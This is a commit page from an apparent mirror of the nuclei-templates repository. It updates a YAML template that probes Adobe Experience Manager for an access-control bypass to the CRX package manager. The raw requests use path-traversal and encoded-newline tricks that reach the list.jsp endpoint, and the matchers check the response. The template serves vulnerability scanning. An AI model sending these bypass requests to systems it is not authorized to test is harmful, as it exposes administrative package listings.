daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update aem-crx-bypass.yaml

patch-1
Dhiyaneshwaran 2021-07-01 22:23:08 +05:30 committed by GitHub
parent a3b9002c52
commit 39eb91a582
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 13 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

19
misconfiguration/aem/aem-crx-bypass.yaml
View File

@ -10,21 +10,28 @@ info:
requests: requests:
- raw: - raw:
- | - |
GET /content/..;/crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1 GET /crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0 User-Agent: curl/123
Referer: {{BaseURL}} Referer: {{BaseURL}}
Connection: close Connection: close
Accept-Encoding: gzip, deflate Accept-Encoding: gzip, deflate
- |
GET /content/..;/crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1
Host: {{Hostname}}
User-Agent: curl/123
Referer: {{BaseURL}}
Connection: close
Accept-Encoding: gzip, deflate
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: word - type: word
part: body part: body
word: word:
- '"results:"' - 'buildCount'
- '"path:"' - 'downloadName'
- '"pid":' - 'acHandling'
condition: and condition: and
- type: word - type: word
@ -34,4 +41,4 @@ requests:
- type: status - type: status
status: status:
- 200 - 200